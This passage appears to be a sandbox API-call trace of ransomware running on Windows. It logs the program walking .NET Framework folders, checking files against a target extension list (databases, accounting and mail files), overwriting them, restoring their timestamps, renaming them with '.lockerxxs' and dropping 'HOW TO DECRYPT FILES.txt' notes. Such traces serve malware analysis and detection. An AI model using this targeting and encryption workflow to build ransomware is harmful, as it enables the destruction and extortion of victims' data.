FILES.txt", lpString2="_TransactionBridgePerfCounters.reg") returned 1 [0136.857] lstrcmpiA (lpString1="", lpString2="_TransactionBridgePerfCounters.reg") returned -1 [0136.857] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\_SMSvcHostPerfCounters.vrg") returned="_SMSvcHostPerfCounters.vrg" [0136.857] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.857] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.857] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d4ff1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c2fb6a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c2fb6a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xcc9, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="_TransactionBridgePerfCounters.vrg", cAlternateFileName="_TRANS~1.VRG")) returned 1 [0136.857] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.857] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_TransactionBridgePerfCounters.vrg") returned 1 [0136.857] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_TransactionBridgePerfCounters.vrg") returned 1 [0136.857] lstrcmpiA (lpString1="", lpString2="_TransactionBridgePerfCounters.vrg") returned -1 [0136.857] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\_TransactionBridgePerfCounters.reg") returned="_TransactionBridgePerfCounters.reg" [0136.857] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.857] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.858] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d4ff1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c2fb6a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c2fb6a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xcc9, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="_TransactionBridgePerfCounters.vrg", cAlternateFileName="_TRANS~1.VRG")) returned 0 [0136.858] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0136.858] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~2")) returned 1 [0136.858] lstrcmpA (lpString1=".", lpString2="Windows Workflow Foundation") returned -1 [0136.858] lstrcmpA (lpString1="..", lpString2="Windows Workflow Foundation") returned -1 [0136.858] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\*.*") returned="*.*" [0136.858] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x500059, dwReserved1=0x200054, cFileName=".", cAlternateFileName="")) returned 0x502518 [0136.859] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.859] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x200000, cFileName="..", cAlternateFileName="")) returned 1 [0136.859] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.859] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.859] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SQL", cAlternateFileName="")) returned 1 [0136.859] lstrcmpA (lpString1=".", lpString2="SQL") returned -1 [0136.859] lstrcmpA (lpString1="..", lpString2="SQL") returned -1 [0136.859] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\*.*") returned="*.*" [0136.859] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0136.859] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.859] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.859] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.859] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.859] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0136.860] lstrcmpA (lpString1=".", lpString2="en") returned -1 [0136.860] lstrcmpA (lpString1="..", lpString2="en") returned -1 [0136.860] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\*.*") returned="*.*" [0136.860] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0136.865] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.865] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.865] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.865] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.865] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1a8cc445, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1a8cc445, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5d5c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SqlPersistenceService_Logic.sql", cAlternateFileName="SQLPER~1.SQL")) returned 1 [0136.865] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0136.865] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SqlPersistenceService_Logic.sql") returned -1 [0136.865] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SqlPersistenceService_Logic.sql") returned -1 [0136.865] lstrcmpiA (lpString1="", lpString2="SqlPersistenceService_Logic.sql") returned -1 [0136.865] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\*.*") returned="*.*" [0136.865] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\" [0136.865] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\") returned="" [0136.867] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0136.867] CloseHandle (hObject=0x98) returned 1 [0136.871] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\SqlPersistenceService_Logic.sql") returned="SqlPersistenceService_Logic.sql" [0136.871] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.871] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5d36, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5d36, lpOverlapped=0x0) returned 1 [0136.873] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.873] CloseHandle (hObject=0x98) returned 1 [0136.873] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\SqlPersistenceService_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\sqlpersistenceservice_logic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\SqlPersistenceService_Logic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\sqlpersistenceservice_logic.sql.lockerxxs")) returned 1 [0136.874] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1a8cc445, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1a8cc445, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0xc90001c8, dwReserved1=0x4e00c4, cFileName="SqlPersistenceService_Schema.sql", cAlternateFileName="SQLPER~2.SQL")) returned 1 [0136.874] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0136.874] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SqlPersistenceService_Schema.sql") returned -1 [0136.874] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SqlPersistenceService_Schema.sql") returned -1 [0136.874] lstrcmpiA (lpString1="", lpString2="SqlPersistenceService_Schema.sql") returned -1 [0136.874] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\SqlPersistenceService_Logic.sql") returned="SqlPersistenceService_Logic.sql" [0136.874] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\" [0136.874] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\") returned="" [0136.876] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\SqlPersistenceService_Schema.sql") returned="SqlPersistenceService_Schema.sql" [0136.876] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.877] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10a2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10a2, lpOverlapped=0x0) returned 1 [0136.877] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.877] CloseHandle (hObject=0x98) returned 1 [0136.877] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\SqlPersistenceService_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\sqlpersistenceservice_schema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\SqlPersistenceService_Schema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\sqlpersistenceservice_schema.sql.lockerxxs")) returned 1 [0136.878] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1a8cc445, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1a8cc445, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5d2a4, dwReserved0=0xc90001c8, dwReserved1=0x4e00c4, cFileName="Tracking_Logic.sql", cAlternateFileName="TRACKI~2.SQL")) returned 1 [0136.878] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0136.878] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Tracking_Logic.sql") returned -1 [0136.878] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Tracking_Logic.sql") returned -1 [0136.878] lstrcmpiA (lpString1="", lpString2="Tracking_Logic.sql") returned -1 [0136.878] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\SqlPersistenceService_Schema.sql") returned="SqlPersistenceService_Schema.sql" [0136.878] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\" [0136.878] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\") returned="" [0136.878] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\HOW TO DECRYPT FILES.txt" [0136.878] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\how to decrypt files.txt")) returned 0x20 [0136.878] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\", lpString2="Tracking_Logic.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql" [0136.878] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.ems") returned 0 [0136.878] lstrlenA (lpString="*.ems") returned 5 [0136.878] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.db") returned 0 [0136.878] lstrlenA (lpString="*.db") returned 4 [0136.878] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.dbf") returned 0 [0136.879] lstrlenA (lpString="*.dbf") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.myox") returned 0 [0136.879] lstrlenA (lpString="*.myox") returned 6 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.myo") returned 0 [0136.879] lstrlenA (lpString="*.myo") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.qbw") returned 0 [0136.879] lstrlenA (lpString="*.qbw") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.qbb") returned 0 [0136.879] lstrlenA (lpString="*.qbb") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.qbm") returned 0 [0136.879] lstrlenA (lpString="*.qbm") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.qbo") returned 0 [0136.879] lstrlenA (lpString="*.qbo") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.qbx") returned 0 [0136.879] lstrlenA (lpString="*.qbx") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.qba") returned 0 [0136.879] lstrlenA (lpString="*.qba") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.qby") returned 0 [0136.879] lstrlenA (lpString="*.qby") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.qbj") returned 0 [0136.879] lstrlenA (lpString="*.qbj") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.ofx") returned 0 [0136.879] lstrlenA (lpString="*.ofx") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.qif") returned 0 [0136.879] lstrlenA (lpString="*.qif") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.mye") returned 0 [0136.879] lstrlenA (lpString="*.mye") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.mbox") returned 0 [0136.879] lstrlenA (lpString="*.mbox") returned 6 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.eml") returned 0 [0136.879] lstrlenA (lpString="*.eml") returned 5 [0136.879] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.pst") returned 0 [0136.880] lstrlenA (lpString="*.pst") returned 5 [0136.880] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.ost") returned 0 [0136.880] lstrlenA (lpString="*.ost") returned 5 [0136.880] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.idx") returned 0 [0136.880] lstrlenA (lpString="*.idx") returned 5 [0136.880] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.dbx") returned 0 [0136.880] lstrlenA (lpString="*.dbx") returned 5 [0136.880] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", pszSpec="*.sql") returned 1 [0136.880] lstrlenA (lpString="*.sql") returned 5 [0136.880] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql" [0136.880] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql" [0136.880] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql." [0136.880] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql.lockerxxs") 